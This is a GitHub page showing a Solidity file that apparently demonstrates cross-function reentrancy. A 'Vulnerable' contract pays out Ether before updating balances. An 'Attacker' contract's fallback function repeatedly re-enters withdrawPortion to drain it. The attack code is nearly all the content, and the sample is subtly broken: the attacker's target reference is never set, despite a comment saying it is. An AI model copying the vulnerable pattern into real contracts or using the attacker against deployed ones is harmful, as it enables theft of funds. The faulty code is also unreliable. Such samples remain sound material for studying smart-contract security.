-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathCross-function-reentrancy.sol
More file actions
55 lines (45 loc) · 1.14 KB
/
Cross-function-reentrancy.sol
File metadata and controls
55 lines (45 loc) · 1.14 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
pragma solidity ^0.4.18;
contract Vulnerable{
mapping (address => uint) private userBalances;
uint public totalbalance = 0;
// deposit money
function deposit() payable{
userBalances[msg.sender] += msg.value;
totalbalance += msg.value;
}
// withdraw all the Ether
function withdrawAll(address to) external {
uint256 amount = userBalances[msg.sender];
if (userBalances[msg.sender] > 0) {
msg.sender.call.value(amount)();
userBalances[msg.sender] = 0;
}
}
// withdraw part the Ether
function withdrawPortion(uint amount) external {
if (userBalances[msg.sender] >= amount) {
msg.sender.call.value(amount)();
userBalances[msg.sender] -= amount;
}
}
}
pragma solidity ^0.4.18;
import './Vulnerable.sol';
contract Attacker{
address private _owner;
uint public count = 0;
Vulnerable vul;
//initial the attack contract with the vulnerable address
function Attacker(){
_owner = msg.sender;
}
function attack(){
vul.withdrawAll(_owner);
}
function () payable{
count++;
if(count < 10){
vul.withdrawPortion(1 ether);
}
}
}